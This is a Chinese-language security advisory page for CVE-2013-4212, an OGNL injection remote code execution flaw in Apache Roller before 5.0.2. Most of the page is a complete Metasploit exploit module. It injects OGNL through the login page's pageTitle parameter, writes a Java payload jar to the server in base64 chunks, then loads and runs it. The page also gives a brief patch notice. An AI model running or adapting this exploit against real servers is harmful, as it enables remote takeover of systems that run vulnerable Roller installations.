Apache Roller OGNL表达式注入远程代码执行漏洞（CVE-2013-4212）

发布日期：2013-12-31
更新日期：2013-11-27受影响系统：
Apache Group Roller 4.0
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 63928
CVE（CAN） ID: CVE-2013-4212Apache Roller是适合于博客站点的多用户博客群服务器。Apache Roller 5.0.2之前版本在实现上存在OGNL注入漏洞，因为使用ActionSupport.getText方法的方式不正确，所有UIAction控制器中存在OGNL注入，远程攻击者可利用此漏洞控制服务器端对象并在受影响应用中执行任意代码。<*来源：unknown
*>测试方法：
--------------------------------------------------------------------------------警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##require "msf/core"class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper def initialize（info = {}）
super（update_info（info,
"Name" => "Apache Roller OGNL Injection",
"Description" => %q{
This module exploits an OGNL injection vulnerability in Apache Roller < 5.0.2. The
vulnerability is due to an OGNL injection on the UIAction controller because of an
insecure usage of the ActionSupport.getText method. This module has been tested
successfully on Apache Roller 5.0.1 on Ubuntu 10.04.
},
"Author" =>
[
"Unknown", # From coverity.com / Vulnerability discovery
"juan vazquez" # Metasploit module
],
"License" => MSF_LICENSE,
"References" =>
[
[ "CVE", "2013-4212"],
[ "URL",
"http://security.coverity.com/advisory/2013/Oct/remote-code-execution-in-apache-roller-via-ognl-injection.html"]
],
"Platform" => "java",
"Arch" => ARCH_JAVA,
"Privileged" => true,
"Targets" =>
[
[ "Apache Roller 5.0.1", { } ]
],
"DisclosureDate" => "Oct 31 2013",
"DefaultTarget" => 0）） register_options（
[
Opt::RPORT（8080）,
OptString.new（"TARGETURI", [ true, "The path to the Apache Roller application.", "/roller"]）
], self.class）
end def execute_command（cmd）
injection = "%24{（%23_memberAccess["allowStaticMethodAccess"]%3dtrue,CMD,""）}"
injection.gsub！（/CMD/, Rex::Text::uri_encode（cmd）） vprint_status（"Attempting to execute: #{cmd}"） res = send_request_cgi（{
"method" => "GET",
"uri" => normalize_uri（target_uri.path.to_s, "roller-ui", "login.rol"）,
"encode_params" => false,
"vars_get" =>
{
"pageTitle" => injection
}
}）
end def java_upload_part（part, filename, append = "false"）
cmd = "#f=new java.io.FileOutputStream（"#{filename}"+#a,#{append}）,"
cmd << "#f.write（new sun.misc.BASE64Decoder（）.decodeBuffer（"#{Rex::Text.encode_base64（part）}"））,"
cmd << "#f.close（）,#a="#{@random_suffix}""
execute_command（cmd）
end def exploit print_status（"Checking injection..."） if check == Exploit::CheckCode::Vulnerable
print_good（"Target looks vulnerable, exploiting..."）
else
print_warning（"Target not found as vulnerable, trying anyway..."）
end @random_suffix = rand_text_alphanumeric（3） # To avoid duplicate execution
@payload_exe = rand_text_alphanumeric（4+rand（4）） + ".jar"
append = "false"
jar = payload.encoded_jar.pack File.open（"/tmp/#{@payload_exe}", "wb"） do |f| f.write（jar） end chunk_length = 384 # 512 bytes when base64 encoded parts = jar.chars.each_slice（chunk_length）.map（&:join）
parts.each do |part|
java_upload_part（part, @payload_exe, append）
append = "true"
end register_files_for_cleanup（"#{@payload_exe}null", "#{@payload_exe}#{@random_suffix}"） cmd = ""
# disable Vararg handling （since it is buggy in OGNL used by Struts 2.1
cmd << "#q=@java.lang.Class@forName（"ognl.OgnlRuntime"）.getDeclaredField（"_jdkChecked"）,"
cmd << "#q.setAccessible（true）,#q.set（null,true）,"
cmd << "#q=@java.lang.Class@forName（"ognl.OgnlRuntime"）.getDeclaredField（"_jdk15"）,"
cmd << "#q.setAccessible（true）,#q.set（null,false）,"
# create classloader
cmd << "#cl=new java.net.URLClassLoader（new java.net.URL[]{new
java.io.File（"#{@payload_exe}"+#a）.toURI（）.toURL（）}）,#a="#{rand_text_alphanumeric（4）}","
# load class
cmd << "#c=#cl.loadClass（"metasploit.Payload"）,"
# invoke main method
cmd << "#c.getMethod（"main",new java.lang.Class[]{@java.lang.Class@forName（"[Ljava.lang.String;"）}）.invoke（"
cmd << "null,new java.lang.Object[]{new java.lang.String[0]}）"
execute_command（cmd）
end def check
addend_one = rand_text_numeric（rand（3） + 1）.to_i
addend_two = rand_text_numeric（rand（3） + 1）.to_i
sum = addend_one + addend_two res = send_request_cgi（{
"method" => "GET",
"uri" => normalize_uri（target_uri.path.to_s, "roller-ui", "login.rol"）,
"vars_get" =>
{
"pageTitle" => "${new java.lang.Integer（#{addend_one}+#{addend_two}）}",
}
}） if res and res.code == 200 and res.body =~ /#{sum}/
return Exploit::CheckCode::Vulnerable
end return Exploit::CheckCode::Safe
endend建议：
--------------------------------------------------------------------------------
厂商补丁：Apache Group
------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：http://httpd.apache.org/Linux Kernel本地拒绝服务漏洞（CVE-2013-6378）Google Caja JavaScript解析器远程任意代码执行漏洞相关资讯 Apache Roller

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